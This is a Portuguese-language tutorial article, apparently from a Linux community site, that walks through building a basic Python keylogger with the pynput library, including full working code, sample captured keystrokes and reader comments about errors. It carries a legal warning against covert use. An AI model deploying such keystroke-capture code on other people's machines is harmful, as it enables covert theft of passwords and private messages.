Como criar um keylogger em Python

Neste artigo aprenderemos como criar um keylogger simples usando Python. O código foi testado em sistema operacional GNU/Linux, mas acredito que funcione nas demais plataformas.

[ Hits: 47.205 ]

Por: Fábio Berbert de Paula em 04/01/2019 | Blog: https://fabio.automatizando.dev


Introdução



Antes de tudo, o propósito deste artigo é educacional. Tenho ciência de que o conteúdo abordado no artigo pode ser usado tanto para o bem quanto para mal.

Uma ótima aplicação para um keylogger seria permitir aos pais monitorarem o que seus filhos andam fazendo no computador. Se você é o responsável direto da criança, essa atividade é legítima e não requer autorização.

Já em casos onde você não é o responsável pela pessoa, o uso de keylogger requer o CONSENTIMENTO de ambas as partes, caso contrário a atividade é considerada CRIME.

Então já fica avisado, usar keylogger para descobrir a senha do Facebook da namorada é crime!!!!

Mão na massa

No Python existem várias formas de se obter o mesmo resultado. Para este artigo utilizaremos a biblioteca pynput para obtermos acesso ao teclado. Também utilizarei a versão 3 do Python, não testei o código na versão 2.

Primeiramente verifique se você possui o pynput instalado:

python3 -m pynput
/usr/bin/python3: No module named pynput

A saída acima indica que não possui a pynput instalada. Para resolver a dependência basta executar:

pip3 install pynput

Feito isso, teste novamente:

python3 -m pynput
/usr/bin/python3: No module named pynput.__main__; 'pynput' is a package and cannot be directly executed

Tudo certo, já podemos começar!

Segue a primeira versão de nosso keylogger com comentários:

vim keylogger.py

#em pynput, importar o método Listener do teclado
from pynput.keyboard import Listener

#definir a localização do arquivo de log
logFile = "/home/fabio/python/keylogger/log.txt"

def writeLog(key):
    '''
    Esta função será responsável por receber a tecla pressionada
    via Listener e escrever no arquivo de log
    '''

    #converter a tecla pressionada para string
    keydata = str(key)

    #abrir o arquivo de log no modo append
    with open(logFile, "a") as f:
        f.write(keydata)

#abrir o Listener do teclado e escutar o evento on_press
#quando o evento on_press ocorrer, chamar a função writeLog
with Listener(on_press=writeLog) as l:
    l.join()

Vamos agora executar e testar o código:

python3 keylogger.py

Abra um segundo terminal e monitore o arquivo de log:

tail -f /home/fabio/python/keylogger/log.txt

Em outro terminal eu digitei "Viva o Linux!", o registro no log ficou mais ou menos assim:

Key.shift_r'V''i''v''a'Key.space'o'Key.spaceKey.shift_r'L''i''n''u''x'Key.shift_r'!''"'Key.backspaceKey.enterKey.alt'3'

Note que cada letra foi delimitada por aspas simples e teclas como o shift, espaço, enter e backspace foram logadas de forma bruta.

Na próxima página veremos como melhorar isso.

    Próxima página

Páginas do artigo
   1. Introdução
   2. Incrementando o código
Outros artigos deste autor

Interfaces Gráficas no Linux

RedBug: Lista dos autores de artigos sorteados do mês

DesignCap - Ferramenta de design gráfico para leigos

Python - Usando requests anônimos através da rede Tor

Kdenlive - Como desfocar/borrar rosto, área ou objetos em um vídeo

Leitura recomendada

Embutindo imagens nos scripts Python para aplicações Tkinter

Clicador automático de Tinder com Python

Construindo um portscanner TCP com Python

Crie um bot para Telegram e gerencie a escala de plantonistas

Qu1cksc0pe - All-in-One Static Malware Analysis Tool

  
Comentários
[1] Comentário enviado por REDN1T em 04/01/2019 - 17:03h

Gostei do seu código, ele esta tão bem comentado que eu que não programo em python consigo enteder o que está acontecendo. Continue assim.

[2] Comentário enviado por BiaMonteiro em 04/01/2019 - 18:44h

Daqui a pouco os hackers do Kali Linux vão usar o Python para desenvolver essa ferramenta.
No mais, ótimo artigo, deixarei meu like.

[3] Comentário enviado por Danilo Falkner em 08/01/2019 - 00:03h

Olha, python mensagem de erro no terminal:

#converter a tecla pressionada para string
keydata = str(key)
^
"NameError: name('key') is not defined."

o que fazer?
Obrigado! Abraço Vivo o Linux!

[4] Comentário enviado por fabio em 08/01/2019 - 02:09h


[3] Comentário enviado por Danilo Falkner em 08/01/2019 - 00:03h

Olha, python mensagem de erro no terminal:

#converter a tecla pressionada para string
keydata = str(key)
^
"NameError: name('key') is not defined."

o que fazer?
Obrigado! Abraço Vivo o Linux!


Você provavelmente não copiou o código corretamente. No final do artigo tem um link para o script no GitHub, baixe o código completo de lá.

[5] Comentário enviado por Kirimatt em 17/02/2021 - 07:14h

logfile = "C:\Users\Windows10\Downloads\python\key_logger\log.txt"
^
SyntaxError: (unicode error) 'unicodeescape' codec can't decode bytes in position 2-3: truncated \UXXXXXXXX escape

Estou tendo esse erro na hora de executar o programa, alguma ideia do que possa ser? Já conferi a localização do arquivo e ela está correta


Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts